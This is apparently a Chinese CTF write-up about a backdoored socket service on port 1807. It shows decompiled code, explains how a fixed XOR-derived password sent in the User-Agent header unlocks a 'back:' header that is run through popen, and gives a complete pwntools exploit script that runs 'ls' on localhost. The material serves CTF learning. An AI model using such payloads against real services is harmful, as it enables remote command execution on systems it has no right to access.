前置知识

  • popen()函数:开启新进程执行linux命令
  • htons()函数:程序监听端口

漏洞分析

为了便于分析,我已经将相关函数重命令了。

主函数:标准的socket交互流程,在while循环中的handle函数中处理用户输入

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
struct sockaddr s; // [rsp+0h] [rbp-20h] BYREF
__pid_t v4; // [rsp+14h] [rbp-Ch]
int v5; // [rsp+18h] [rbp-8h]
int fd; // [rsp+1Ch] [rbp-4h]

signal(17, (__sighandler_t)handler);
fd = socket(2, 1, 0);
if ( fd < 0 )
{
perror("socket");
exit(-1);
}
memset(&s, 0, sizeof(s));
s.sa_family = 2;
*(_DWORD *)&s.sa_data[2] = htonl(0);
*(_WORD *)s.sa_data = htons(1807u);
v5 = bind(fd, &s, 0x10u);
if ( v5 < 0 )
{
perror("bind");
exit(-1);
}
v5 = listen(fd, 64);
if ( v5 < 0 )
{
perror("servfd");
exit(-1);
}
while ( 1 )
{
while ( 1 )
{
::fd = accept(fd, 0LL, 0LL);
if ( ::fd >= 0 )
break;
perror("confd");
}
v4 = fork();
if ( v4 >= 0 )
{
if ( !v4 )
{
close(fd);
handle(::fd);
exit(-1);
}
close(::fd);
}
else
{
perror("fork");
}
}
}

进入handle()函数看看实现过程:

parse():处理用户输入,判断是否合法,并生成返回数据。
response():返回程序的输出给用户端。

重点看parse()函数:

while循环中是检查我们的全部输入是不是以\r\n\r\n结尾。所以为了绕过这个检查,我们的payload要以\r\n\r\n结尾。

verification()函数是处理输入各个字段内容。进入查看一下:

User-Agent: 字段内容会赋值给v4,这就是passwd,后续check_passwd()函数会检查是否正确。
如果检查通过,并且存在back: 字段,那么会取出其后面内容作为指令执行。

进入check_passwd()

这个函数会将sub_400D30()返回值与我们的输入passwd进行一一对比。
但是,在sub_400D30()并没有对用户输入进行处理,而是解密一个固定的值,然后将解密后的数据与我们进行对比。所以我们根本就不用去逆向sub_400D30()函数,只需要动态调试就能得到s的具体值。

这种将密文进行处理后和明文进行对比的模式其实并没有起到提高逆向难度的作用
因为攻击者只需要将处理密文的函数执行一遍就可以知道确切的返回值。

如果是对明文进行处理 , 然后和加密的密文进行比对 , 这样的模式其实才有意义
这可以提高攻击者逆向算法的难度。 王一航

使用gdb调试

  1. 开启一个终端运行程序,1807端口正在监听等待用户输入

  2. exp文件与本地进行交互

    io = remote('127.0.0.1', 1807)
    io.sendline(payload)
    print(io.recv())
    io.close()
  3. 使用pidof ./pwn获取程序进程号:38555

    ❯ pidof ./pwn
    38555
  4. 使用gdb attach 38555开始调试对应进程

  5. 运行exp脚本发送数据

  6. 打一个断点在调用sub_400D30()处:

  7. exp发送数据后停在这里:

  8. 单步运行后,返回值存在rax中:2016CCRT就是解密后数据

  9. 所以我们的密码就是2016CCRT ^ i

exp

from pwn import *
from pwn import p64,u64,p32,u32,p8
from LibcSearcher import *

context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="amd64")

elf=ELF("./pwn")

sla = lambda x,y : io.sendlineafter(x,y)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
gd = lambda : gdb.attach(io)
r = lambda : io.recv()
rn = lambda x : io.recv(x)
rl = lambda : io.recvline()
ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x, drop=True)
inter = lambda : io.interactive()
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda tag,addr :log.info('\x1b[01;38;5;214m' + tag + " -------------> " + hex(addr) + '\x1b[0m')

def get_addr() :
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(libc_base) :
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

pa = "2016CCRT"
passwd = ""
def get_passwd():
global passwd
for i in range(len(pa)):
passwd += chr(ord(pa[i]) ^ i)
return passwd

def get_payload(pd, command):
p = "User-Agent: %s\r\n" % pd
p += "back: %s\r\n" % command
p += "\r\n\r\n"
return p

def send(payload):
io = remote('127.0.0.1', 1807)
io.sendline(payload)
print(io.recv())
io.close()

def pwn():
pause()
my = get_passwd()
p = get_payload(my, "ls")
send(p)

pwn()